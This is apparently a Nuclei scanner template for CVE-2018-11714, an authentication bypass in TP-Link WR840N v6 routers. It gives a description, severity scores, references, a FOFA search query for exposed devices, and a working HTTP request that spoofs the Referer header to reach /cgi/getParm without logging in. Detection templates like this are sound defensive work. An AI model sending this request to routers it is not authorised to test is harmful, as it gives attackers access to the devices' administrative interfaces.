tp-link-wr840n-auth-bypass: TP-LINK WR840N v6 up to 0.9.1 4.16 - Improper Authentication

id: tp-link-wr840n-auth-bypass

info:
  name: TP-LINK WR840N v6 up to 0.9.1 4.16 - Improper Authentication
  author: DhiyaneshDK
  severity: critical
  description: |
    A vulnerability in the TP-Link WR840N v6 router with firmware version 0.9.1 4.16 and earlier permits unauthorized individuals to bypass the authentication of some interfaces under the /cgi directory.When adding Referer- http-//tplinkwifi.net to the the request, it will be recognized as passing the authentication.
  impact: |
    Unauthenticated attackers can bypass authentication by adding a specific Referer header, gaining unauthorized access to router administrative interfaces.
  remediation: |
    Update TP-Link WR840N v6 router to firmware version later than 0.9.1 4.16 that addresses the authentication bypass vulnerability.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/TP-Link/WR840N%20v6/ACL%20bypass%20Vulnerability%20in%20TP-Link%20TL-WR840N.md
    - https://www.exploit-db.com/exploits/44781/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-11714
    cwe-id: CWE-287
    epss-score: 0.35365
    epss-percentile: 0.98312
    cpe: cpe:2.3:o:tp-link:tl-wr840n_firmware:0.9.1_3.16:*:*:*:*:*:*:*,cpe:2.3:h:tp-link:tl-wr840n:5.0:*:*:*:*:*:*:*,cpe:2.3:o:tp-link:tl-wr841n_firmware:0.9.1_4.16:*:*:*:*:*:*:*,cpe:2.3:h:tp-link:tl-wr841n:13.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="WR840N"
  tags: tp-link,auth-bypass,vuln

http:
  - raw:
      - |
        POST /cgi/getParm HTTP/1.1
        Host: {{Hostname}}
        Referer: http://tplinkwifi.net

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "$.ret=0;"
          - "var "
        condition: and

      - type: word
        part: content_type
        words:
          - "application/javascript"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201a1dc631c96a25a71a3d6edee466400fe696a5ebc116be335aa70f9ab5902853022100bc3a982525d021ef7d5592390ff641d2aa4cb5d47c8a225359880cbb8a21bf79:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.